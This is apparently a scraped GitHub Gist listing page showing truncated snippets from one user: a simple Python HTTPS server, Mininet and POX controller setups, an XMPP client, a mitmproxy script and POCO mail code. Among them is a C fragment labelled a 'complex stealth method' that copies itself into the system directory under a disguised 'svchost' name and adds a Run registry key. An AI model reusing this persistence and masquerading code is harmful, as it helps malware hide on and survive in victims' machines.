Skip to content

Instantly share code, notes, and snippets.

# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:4443
import BaseHTTPServer, SimpleHTTPServer
import ssl
@kostyll
kostyll / mininet_linux_router_works_under_pox
Last active December 27, 2016 10:08
mininet_linux_router_works_under_pox
"""
Works with RemoteController:
first install and run pox controller:
502 git clone http://github.com/noxrepo/pox
503 cd pox/
505 git checkout dart
511 ./pox.py log.level --DEBUG misc.of_tutorial
@kostyll
kostyll / mininet_with_nat.configure_wlan0_or_eth0_interface_in_CODE.py
Last active December 27, 2016 10:09
mininet_with_nat.configure_wlan0_or_eth0_interface_in_CODE.py
#!/usr/bin/python
"""
Example to create a Mininet topology and connect it to the internet via NAT
through eth0 on the host.
Glen Gibb, February 2011
(slight modifications by BL, 5/13)
"""
@kostyll
kostyll / MininetCustomNetwork_POX_RemoteController
Last active December 27, 2016 10:09
MininetCustomNetwork_POX_RemoteController
#!/usr/bin/python
"""
Works with RemoteController:
first install and run pox controller:
502 git clone http://github.com/noxrepo/pox
503 cd pox/
505 git checkout dart
511 ./pox.py log.level --DEBUG misc.of_tutorial
@kostyll
kostyll / jabtest.py
Created September 9, 2016 16:52 — forked from deckerego/jabtest.py
An example of using Jabber/XMPP communication with Python
import sleekxmpp
class Jabber(sleekxmpp.ClientXMPP):
def __init__(self, username, password, instance_name=None):
jid = "%s/%s" % (username, instance_name) if instance_name else username
super(Jabber, self).__init__(jid, password)
self.instance_name = instance_name
self.add_event_handler('session_start', self.start, threaded=False, disposable=True)
self.add_event_handler('message', self.receive, threaded=True, disposable=False)
# Usage: mitmproxy -s maven_stub.py
# (this script works best with --anticache)
# this script was tested on mitmproxy 18
# MAIN GOAL to help Inteliji idea to get file from inet.
# TO make maven in idea work through our proxy see this url:
# http://stackoverflow.com/questions/1784132/intellij-community-cant-use-http-proxy-for-maven
import sys
from mitmproxy.models import decoded
@kostyll
kostyll / MyMailMessage.cpp
Created June 1, 2016 13:27 — forked from jsolid/MyMailMessage.cpp
POCO library: Calling from .cpp
/**
* @name EmailInbound (Mail Message Handler for POCO)
* @description Receive and sort emails
*/
#include "MyMailMessage.h"
/**
* POCO::Net::MailMessage
*/
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance
{
HKEY key;
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char valuename[] = "svchost";
char filename[61];
char Win_Dir[33];
GetSystemDirectory(Win_Dir, sizeof Win_Dir);
sprintf(filename,"%s\\sv�host.exe", Win_Dir);
if (strcmp(filename, Path) == 0)
#include <windows.h>
#if define UNICODE
#define RegOpenKeyEx RegOpenKeyExW
#define RegCreateKeyEx RegCreateKeyExW
#define RegDeleteKey RegDeleteKeyW
#else
#define RegOpenKeyEx RegOpenKeyExA
#define RegCreateKeyEx RegCreateKeyExA
#define RegDeleteKey RegDeleteKeyA
#!/usr/bin/env python
import os
def chunks(l, n):
for i in xrange(0, len(l), n):
yield l[i:i+n]
try: